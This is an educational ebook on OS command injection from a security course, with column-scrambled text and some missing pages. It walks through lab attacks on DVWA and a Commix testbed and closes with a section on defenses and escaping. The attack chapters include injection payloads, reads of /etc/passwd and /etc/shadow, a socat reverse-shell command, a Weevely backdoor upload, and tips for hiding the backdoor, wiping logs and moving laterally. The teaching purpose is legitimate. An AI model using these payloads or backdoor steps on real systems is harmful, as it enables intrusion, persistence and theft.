OS Command Injection - EBOOK - v2
OS Command Injection - EBOOK - v2
This an ebook version of our Introduction to OS Command Injections course. We know some
people may prefer the format of an ebook over a series of lessons online, or of written versus
video lessons. In any case, we hope you enjoy it!
© 2020 - Cybr
Table of Contents
1. Getting Started
a. Whoami and about the course
b. Setting up our lab environment
2. OS command injections
a. Important command line concepts
b. Overview of OS Command injections
c. Attacking web apps manually
d. Automated attacks with Commix
e. Creating and exploiting backdoor shells
3. Defenses against OS command injections
a. How to defend against OS command injections
b. Avoid calling OS commands directly
c. Escape values added to OS commands specific to each OS
d. Parameterization in conjunction with Input Validation
e. Additional Defenses
f. Code examples
4. Conclusion and other resources
a. Additional resources
b. What now?
1
© 2020 - Cybr
Hi, I’m Christophe Limpalair, and I will be For example, there are many different types
your instructor for this course. I want to take of injection attacks, and even if you’re
the time to first of all thank you for enrolling, familiar with one type, it doesn’t mean that
and second, to share more details about you understand the others. That’s why we
how the course is structured, what you will have a complete course available, for free,
learn, and what the pre-requisites are to that covers all of the web injection attacks
taking this course. from the OWASP top 10 list, including SQL
injection.
Injection attacks are one of the most serious
web application security risks that we face But, for this course, we’re going to focus
today, and have been facing for years. But entirely on OS Command Injections.
unless you understand how injections work,
The goal is to give you a thorough
it’s impossible to properly defend your
understanding of OS Command injections,
applications.
how attacks can be carried out, and how to
defend our applications against them.
2
© 2020 - Cybr
3
© 2020 - Cybr
4
© 2020 - Cybr
point in time, please reach out and we’ll help download the OS X version, but if you’re on
you resolve the issue so that you can move Windows you would download that version.
on.
Then, follow the steps to install VirtualBox.
The first thing we need to configure is Kali At this point, if you have any issues during
Linux, which is a free Linux distribution that’s the installation and you can’t figure out a
often used for digital forensics and solution, please reach out in our forums and
penetration testing. The reason we want to we’ll be glad to help.
use Kali is because it comes pre-installed
Once you have VirtualBox installed and
with many of the tools we’ll be using
running, it’s time to set up Kali Linux.
throughout the course, which will help us get
going and avoid issues that can come from There’s a great tutorial for using Kali ISOs
running different operating systems. located at this URL with instructions, so I
won’t go into too much depth if you want to
install Kali using an ISO which provides a bit
more customizability but takes longer and
requires more configuration:
Don’t worry, this step is not difficult and it First, we’ll want to download Kali at this URL:
doesn’t take too much time. And again, this https://www.kali.org/downloads/
is all free.
If you want an ISO image of Kali to be able to
If you don’t already have VirtualBox or boot from it, then you can download from
VMWare, go ahead and download that page, but since we’re using the OVA
whichever one you prefer, but I’ll be using version and VirtualBox, we’ll need to click on
VirtualBox. this link:
https://www.offensive-security.com/kali-linux
All you have to do is go to virtualbox.org and -vm-vmware-virtualbox-image-download/
download the latest version for your current
operating system. I’m on a mac, so I’ll
5
© 2020 - Cybr
And we’ll download the 64-Bit version. This Select the virtual machine in VirtualBox and
can take a few minutes depending on your then click on Settings.
internet connection.
Go to “USB” (if doing this on Windows) or
Once you’ve downloaded the OVA, go to “Ports” (if doing this on Mac).
VirtualBox and Import the Appliance (File ->
You can then uncheck the box “Enable USB
Import Appliance), or double-click the OVA
controller” (you will need to click on the
file.
“USB” tab on Mac after clicking on Ports)
Before importing, you’ll want to and save settings.
double-check settings to make any
modifications necessary. Then, start the
import process. This can take a few minutes.
6
© 2020 - Cybr
7
© 2020 - Cybr
For example, if we want to run the Damn It will ask you to login, and you can use the
Vulnerable Web Application, we can do that username admin and password
with this simple command: password.Initially, you will be redirected to
docker run --rm -it -p 80:80 localhost/setup.php where you can check
vulnerables/web-dvwa configurations and then create the database.
8
© 2020 - Cybr
From there, we have multiple scenarios to
walk through, but we’ll keep that for another
lesson.
9
© 2020 - Cybr
Important command
line concepts
Slides used in this lesson.
Typical web applications run on servers, so Also, this threat goes beyond just web apps,
chances are that if you’ve ever had to set up since it could also be used against things
a web app before, you’ve had to run like printers, routers, raspberry pis, arduinos,
commands on the command line, regardless and really anything running on an operating
of whether your server was running Linux or system, if an application introduces that
Windows. vulnerability.
Maybe it was to create a directory, create While there are entire courses dedicated to
files, change permissions on files, or install teaching the command line, we don’t have
software like a webserver or database. time for that in this course, so instead, this
lesson will only cover some key command
As we’ll see in another lesson, OS Command
line concepts to help refresh your memory
Injections let an attacker execute operating
before we move on to explaining OS
system commands on the server that is
command injections.
running an application. So those same
commands that you’ve run on your own
servers could potentially be run through your Start your container
application by a threat agent, against your
servers and applications. For this lesson, we’ll stick to Linux, and I’ll be
using our Commix-testbed environment,
That’s why it’s important to have some although you could run these straight on
knowledge of the command line, because if your host OS since they aren’t harmful
you don’t, you won’t know how to find and commands. Keep in mind that you can also
then exploit this type of vulnerability. run equivalent commands on Windows,
10
© 2020 - Cybr
though, but we won’t be demonstrating that ● echo 'Test file' > test.txt –
in this course. outputs strings or variable values to
a file
To pull up our Commix environment, if we
● cat test.txt – reads and outputs
don’t already have it up and running, we
file contents
simply need to type:
● cat /etc/passwd – /etc/passwd
docker run --rm -d -p 3000:80 stores user account information and
cybrcom/commix-testbed is a plaintext file, so if you’re able to
read it, you can gather information
Followed by
like user IDs, group IDs, home
docker ps directories, and potentially even
passwords, although if you see an x
To find the container ID. in the password entry, it means the
encrypted password is stored in
Then, we will jump into the container with:
/etc/shadow instead
docker exec -it <container-id> ● cat /etc/shadow – this file stores
/bin/bash
the hash of encrypted passwords. In
this container, we haven’t created
Basic commands to understand
any custom users with passwords, so
Let’s start with basic navigation commands: this isn’t the best example, but
otherwise you’d see that here.
● ls – lists directory contents of files
and directories Then we have other types of commands that
● ls -l – lists directory contents in a provide information about the system, like:
long format, including permissions,
● whoami – names the current user
owners, and groups as well as other
● uname -a – lists the operating
information
system
● ls -a – same as ls but does not
● ifconfig – lists network
ignore entries starting with a .
configuration
● ls -la – combines the two prior
● netstat -an – lists network
options
connections; and if we open up a
● pwd – list your current directory
browser and connect to the
● cd – change directories
application and re-run this command,
● mkdir – creates a directory
we’ll then see that connection
● rm -r – deletes files or directories,
● ps -ef – lists running processes
and the -r is recursive for directories
● which <name> – identifies the
● echo – outputs strings or variables
location (and existence) of
values
11
© 2020 - Cybr
12
© 2020 - Cybr
Overview of OS
command injections
Slides used in this lesson. Hearing that sentence alone should freak
you out because if someone is able to get
When I first heard the term OS Command
remote access to execute commands on
injection, or “Shell injection” as some people
your server’s OS, you are going to be having
refer to it, I don’t know why but I assumed it
a very bad day — assuming that you even
was some very advanced and obscure
realize it.
technique.
Why? Because it means they could
In reality, it’s quite similar to SQL injection
potentially get full system control and be
techniques, it just requires a slightly different
able to:
skillset.
1. Infiltrate your local network
2. Access sensitive data
What are OS Command 3. Upload or download certain data or
Injections? malware
4. Create custom scripts
OS command injections allow attackers to 5. Run those scripts or other
execute arbitrary operating system applications as administrators
commands on the server that is running an 6. Edit user security levels
application. 7. and more
13
© 2020 - Cybr
14
© 2020 - Cybr
15
© 2020 - Cybr
command, you will still see the application outputs. To solve that problem, we can use a
hang for 5 seconds if it is successful. We’ll technique called “redirecting outputs.”
see this in action in the next lesson.
For example, if the application serves static
rm old_file.txt; pwd; sleep 5 images or CSS & JavaScript files from your
web root at /var/www/static/<files>,
This technique can result in false-positives
you could generate a text file: whoami.txt
because there could be a random time delay
and then pull it up in your browser, like this:
caused by the server instead of our injection
technique, leading us to believe that we rm old_file.txt; whoami >
were successful even though we weren’t. /var/www/static/whoami.txt &
Another more advanced technique would be We can then visit the website’s URL and pull
using an if statement, like this: up that text file we just created:
https://vulnerable-website.com/whoa
; str=$(echo GLKKDT);
str1=$(expr length "$str"); mi.txt
if [ 6 != $str1 ];
In this case, because we output whoami
then sleep 0;
which names the current user, we now know
else sleep 5;
which user we’re running as, which gives us
fi
helpful information to carry out more attacks.
Store the string GLKKDT in str and then
store the length of our variable str in str1.
Then, check to see if the length of str1 is
Out-of-band
6, and if it is, sleep for 5 seconds. If it’s not, An alternative is using the out-of-band
don’t sleep. technique, similar to what we saw in the SQL
With this example, if our injection isn’t injection section. Except for this time we can
successful, then there won’t be a delay. If it potentially have even more flexibility since
was successful, there will be a delay of at we can tap into operating system
least 5 seconds, and maybe slightly longer commands.
depending on the server response time. Let’s say for example that you can use
& nslookup https://cybr.com &
Redirecting Output
You could monitor your own domain name
Setting a sleep timer can help us know that and see that a request was initiated, which
an injection was successful, but it doesn’t lets you know that the injection was
solve our problem of not being able to see successful.
16
© 2020 - Cybr
Conclusion
So, to recap, we’ve learned about:
1. The potential impact of successful
attacks
17
© 2020 - Cybr
Your first OS Command You can see the application hanging for
approximately 5 seconds, and so now you
Injections know that your sleep injection worked,
Go to “Command injection” in the left which means the pwd also most likely
navigation. worked.
In the input field, type: Luckily, in this situation, we are able to see
the output, and this output is telling us that
; ls -a
the webroot for the app is at
/var/www/html/.
This lists out all the files and directories in
your current, working directory. This is perfect, because while we could have
tried to guess the web root directory since
You could also type in an IP to ping before
this is a standard, especially for apache,
that semicolon, but as you can see, at least
18
© 2020 - Cybr
For example, if we want to figure out what Let’s try that now:
user we are on the system, we could do that ; cat /etc/passwd ;
by redirecting the output from our command
and create a text file with that output like we The result:
saw in the prior lesson:
; whoami >
/var/www/html/whoami.txt ;
; echo "$(id)" > I’m going to do this using a tool called socat
/var/www/html/whoami.txt ; which is fairly similar to netcat if you’re
familiar with that.
We will see:
On your host, in this case Kali, we’re going to
uid=33(www-data) gid=33(www-data)
create a listener:
groups=33(www-data)
socat file:`tty`,raw,echo=0
tcp-listen:1337
Listing all users and
Then, on the server, we want to connect to
attributes that port. To do that, I first need to figure out
the IP address that it will connect to:
If you’re familiar with Linux OS, you’ll be
familiar with /etc/passwd. sudo ifconfig
19
© 2020 - Cybr
I’m looking for eth0 , and mine is: We can navigate around…for example, let’s
10.0.2.15 go find our text file we created earlier:
cd /var/www/html
Now that I have it, I can inject this command ls
in the application: cat whoami.txt
; socat tcp-connect:10.0.2.15:1337
At this point, go ahead and have fun with the
exec:bash,pty,stderr,setsid,sigint
reverse shell since there’s a bunch of stuff
At this point, our connection should be you can do, and when you’re ready, I’ll see
established, and we are now in the server. you in the next lesson!
ls
the application, which would undoubtedly
lead us to finding even more vulnerabilities,
potentially some secrets, or potentially even
modify the source code!
Automated attacks
with Commix
Now that we’ve performed manual OS 1. To get a better grasp of how
Command injection attacks, let’s take a look injections work beyond just the
at using an automated tool called Commix. concepts
2. While automated tools are great,
The reason that we started with manual
sometimes they’re not available or
attacks is twofold:
they don’t behave the way that we
need them to
20
© 2020 - Cybr
21
© 2020 - Cybr
22
© 2020 - Cybr
let’s test with a very basic command create backdoors on the target
injection: system
; pwd ● Modules options, which can be used
to increase the detection and/or
OK great, that worked. We now know the injection capabilities
path structure of this application, and more ● Injection Options, which can be used
specifically, this endpoint: to customize injection payloads and
specify which parameters to inject
/var/www/example.com/public_html/c
● Detection options, which can be
ommix-testbed/scenarios/regular/GE
T used to customize the detection
phase of injection vulnerabilities
We also know that this input is vulnerable to ● and then Miscellaneous options
OS Command injections, so let’s bring out
Let’s put these options to work with our first
the big guns.
attack against this input.
Commix command and options
Structuring a Commix attack
In order to understand how to use Commix,
Going back to the testbed app, we can look
we have a few options. The first and
at the URL and since it was a GET request,
quickest is to type -help:
we see how the URL is structured which will
python commix.py -help help us build our attack and identify where
to inject payloads.
This will bring up the list of commands and
options we can use with Commix, starting Now we can type this:
with: python commix.py
--url="http://127.0.0.1:3000/commi
● General options
x-testbed/scenarios/regular/GET/cl
● Target options, to define a target
assic.php?addr=INJECT_HERE"
URL
● Request options, to define how to The INJECT_HERE placeholder tells Commix
connect to the target URL where to inject its payloads.
● Enumeration options, which is used
to find possible entry points and Let’s submit this.
vulnerable information in the target
We will see:
system
● File access options, which can be [info] The GET parameter 'addr'
seems injectable via
used to access, write, or upload files
(results-based) classic command
— an important option when trying to
23
© 2020 - Cybr
If we input a question mark, we’ll get a list of Alright, let’s exit out of here for now with
available options, and we can see things like Ctrl + C
reverse_tcp and bind_tcp which would
set up a reverse TCP connection or set a Automatically gathering system
bind TCP connection. information with Commix
The Bind TCP option opens up a port on the Now, let’s collect the same kind of data that
target host, while Reverse TCP tries to we collected through the pseudo-terminal,
connect to you from the target machine back but instead we’ll let commix do that for us by
to your machine. passing in enumeration options:
24
© 2020 - Cybr
25
© 2020 - Cybr
Creating and
Exploiting Backdoor
Shells
26
© 2020 - Cybr
Concept of Backdoors
So with our prior examples, we
compromised the DVWA and the Commix
Testbed systems after finding out that they
were vulnerable to OS Command Injections.
But, having to exploit an application through
And if we can find a way to elevate our
endpoints or by running attacks manually or
privileges, we could even completely wipe
with automated tools not only limits us, but it
out all of our traces by deleting those entries
can trigger red flags and leave a lot of
from system logs. We could look for system
footprints behind.
or application credentials, and we could try
to move laterally, meaning that we move
through our target’s systems, networks, and
environments.
27
© 2020 - Cybr
28
© 2020 - Cybr
And the file did not write because our user ommix-testbed/scenarios/regular/GE
T/weevely.php file was uploaded
running the application does not have
successfully!
proper permissions. This is because of how
permissions have been set up on the
We’ve uploaded our backdoor agent to the
server/container.
server, and we can verify with the
If we exit out of the error logs, and we run an Pseudo-terminal:
ls -l, we will see that the directory is ls weevely.php
owned by root. While I would not
recommend having root own the web
application directory, in this case it Exploiting the Weevely
prevented us from uploading files via the
command injection vulnerability, so that is
backdoor
something to keep in mind when we explore
After uploading the backdoor agent, we can
defenses later in the course! Permissions
execute the script from Weevely back on our
can play a role in preventing compromises,
system.
but they also should not be the only
defense. weevely
http://127.0.0.1:3000//commix-test
Let’s change these permissions so that we bed/scenarios/regular/GET/weevely.
can demonstrate the file upload: php commix
Now, let’s re-run our attack. We now have shell access to the
python commix.py server/container, and if this were not a lab
--url="http://127.0.0.1:3000/commi environment, we could keep this access for
x-testbed/scenarios/regular/GET/cl as long as our victims don’t realize the
assic.php?addr=INJECT_HERE" backdoor is there.
--file-upload="/home/kali/Document
s/weevely.php" Considering that this weevely.php file is just
--file-dest="/var/www/example.com/ one of thousands of files on this system,
public_html/commix-testbed/scenari depending on how sophisticated your target
os/regular/GET/" is, it could be that they never find this file.
You could even change this to be a filename
And there you have it!
that blends in even more. For example, there
[info] The are a bunch of files in here that start with
/var/www/example.com/public_html/c classic_, so you could name yours
29
© 2020 - Cybr
30
© 2020 - Cybr
31
© 2020 - Cybr
32
© 2020 - Cybr
OS commands specific to injection section, but this aims to verify the
user-supplied data to make sure it matches
each OS expectations.
The point of this defense is to disarm When validating commands: There are
potentially harmful commands from different ways to validate input, including
user-supplied input. “whitelists” or the “allowlist” as I prefer to
call them, which specify a list of allowed
How it does this depends on the method commands. If the input doesn’t match one of
you are calling. The examples here show those, it doesn’t pass it on to the system.
two PHP options:
When validating arguments for those
escapeshellarg()
commands: you can again use an allowlist,
or use an allowlist and other validation
33
© 2020 - Cybr
34
© 2020 - Cybr
<?php
// Feedback for the end
if( isset( $_POST[ 'Submit' ] ) )
35
© 2020 - Cybr
user $target =
$html .= $octet[0] . '.' . $octet[1]
. '.'
"<pre>{$cmd}</pre>"; . $octet[2] . '.' . $octet[3];
}
/ Determine OS
/
?> and execute the ping command.
if( stristr(
Finally, the version considered impossible php_uname( 's' ), 'Windows NT' ) )
mostly relies on input validation: {
// Windows
<?php
$cmd =
shell_exec( 'ping ' . $target );
if( isset( $_POST[ 'Submit' ] ) )
}
{
else {
// Check Anti-CSRF token
// *nix
checkToken( $_REQUEST[
$cmd =
'user_token' ], $_SESSION[
shell_exec( 'ping -c 4 ' .
'session_token' ], 'index.php' );
$target );
}
// Get input
$target = $_REQUEST[ 'ip'
// Feedback for
];
the end user
$target = stripslashes(
$html .=
$target );
"<pre>{$cmd}</pre>";
}
// Split the IP into 4
else {
octects
// Ops. Let the
$octet = explode( ".",
user name theres a mistake
$target );
$html .=
'<pre>ERROR: You have entered an
/ Check IF each octet is
/
invalid IP.</pre>';
an integer
}
if( ( is_numeric(
}
$octet[0] ) ) && ( is_numeric(
$octet[1] ) ) && ( is_numeric(
// Generate Anti-CSRF token
$octet[2] ) ) && ( is_numeric(
generateSessionToken();
$octet[3] ) ) && ( sizeof( $octet
) == 4 ) ) {
?>
// If all 4 octets
are int's put the IP back
together.
36
© 2020 - Cybr
Additional resources
As we wrap up this course, I wanted to provide some additional resources in regards to OS
Command Injections so that you can continue learning on your own, if you’re interested in taking
your skills further.
37
© 2020 - Cybr
If you come across any other useful resources, please share with us on Discord or in our Forums
so I can add them here!
What Now?
Now that you’ve completed this course, here’s what I recommend.
If that seems like an overwhelming task, and you’re not quite sure where to even start with that
process, check out my Introduction to Application Security course because we cover different
frameworks and processes that help solve this exact problem
● Forums
● Discord
We even have more free resources available on our YouTube channel and on our social media
channels:
38
© 2020 - Cybr
● Facebook
● YouTube
● Twitter
In addition to CTFs, continue practicing in the environments that we set up for this course,
leveraging the techniques that we’ve explored in order to find, and exploit, those vulnerabilities.
Then, peel back the layers and look at the actual code to figure out why certain attacks worked
while others didn’t.
Conclusion
I really appreciate you enrolling in my course, and I hope to see you in my other courses as well!
39
© 2020 - Cybr
- Christophe
40
© 2020 - Cybr